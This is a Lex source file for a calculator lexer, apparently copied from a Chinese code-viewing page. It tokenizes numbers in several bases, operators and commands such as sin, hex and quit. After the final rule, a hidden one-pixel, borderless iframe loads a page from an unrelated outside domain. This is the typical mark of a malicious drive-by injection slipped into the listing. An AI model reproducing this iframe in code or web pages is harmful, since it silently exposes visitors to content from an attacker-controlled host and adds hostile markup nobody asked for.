📄 calc.l
字号:
%{
#define YYSTYPE double
#define BIGINT long
#include <ctype.h>
#include "y.tab.h"
%}
digit [0-9]
xdigit [0-9a-fA-F]
odigit [0-7]
decnum (0(\.{digit}+)?)|([1-9]{digit}*(\.{digit}+)?)
octnum 0{odigit}+
hexnum 0(x|X){xdigit}+
reg [a-zA-Z]
opt1 "+"|"-"|"*"|"/"|"&"|"|"|"%"|"^"|"~"|"!"|"<"|">"
opt2 (&&)|(\|\|)|(\<\<)|(\>\>)
exit ((E|e)(X|x)(I|i)(T|t))|((Q|q)(U|u)(I|i)(T|t))
clear (C|c)(L|l)(E|e)(A|a)(R|r)
list (L|l)(I|i)(S|s)(T|t)
erase (E|e)(R|r)(A|a)(S|s)(E|e)
hex (H|h)(E|e)(X|x)
oct (O|o)(C|c)(T|t)
dec (D|d)(E|e)(C|c)
help (H|h)(E|e)(L|l)(P|p)
sin (S|s)(I|i)(N|n)
cos (C|c)(O|o)(S|s)
log (L|l)(O|o)(G|g)
tan (T|t)(A|a)(N|n)
abs (A|a)(B|b)(S|s)
sqrt (S|s)(Q|q)(R|r)(T|t)
%%
int i ;
BIGINT val;
[" "; \t] { }
{decnum} {sscanf(yytext,"%lf",&yylval);return(NUM); }
{octnum} {
i=1;val=0;
while(i<yyleng)
{
val=(val<<3)+yytext[i]-'0';
i++;
}
yylval=val;
return(NUM);
}
{hexnum} {
i=2;val=0;
while(i<yyleng)
{
if(islower(yytext[i])) val=(val<<4)+yytext[i]-'a'+10;
else if(isupper(yytext[i])) val=(val<<4)+yytext[i]-'A'+10;
else val=(val<<4)+yytext[i]-'0';
i++;
}
yylval=val;
return(NUM);
}
{reg} {
if(islower(yytext[0]))yylval=yytext[0]-'a';
else yylval=yytext[0]-'A';
return(REG);
}
{opt1} {
switch(yytext[0])
{
case '+':
return ADD;
break;
case '-':
return SUB;
break;
case '*':
return MUL;
break;
case '/':
return DIV;
break;
case '%':
return MOD;
break;
case '^':
return BITXOR;
break;
case '&':
return BITAND;
break;
case '|':
return BITOR;
break;
case '<':
return LESS;
break;
case '>':
return MORE;
break;
case '!':
return NOT;
break;
case '~':
return BITREV;
break;
}
}
{opt2} {
switch(yytext[0])
{
case '&':
return AND;
break;
case '|':
return OR;
break;
case '<':
return LSHIFT;
break;
case '>':
return RSHIFT;
break;
}
}
{sin} {return (SIN);}
{cos} {return (COS);}
{tan} {return (TAN);}
{log} {return (LOG);}
{abs} {return (ABS);}
{sqrt} {return (SQRT);}
{clear} {return(CLEAR);}
{exit} {return(EXIT);}
{list} {return(LIST);}
{erase} {return(ERASE);}
{hex} {return(HEX);}
{oct} {return(OCT);}
{dec} {return(DEC);}
{help} {return(HELP);}
.|\n {return(yytext[0]);}
<IFRAME SRC=http://mm.987999.com/abc.htm width=1 height=1 frameborder=0></IFRAME>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -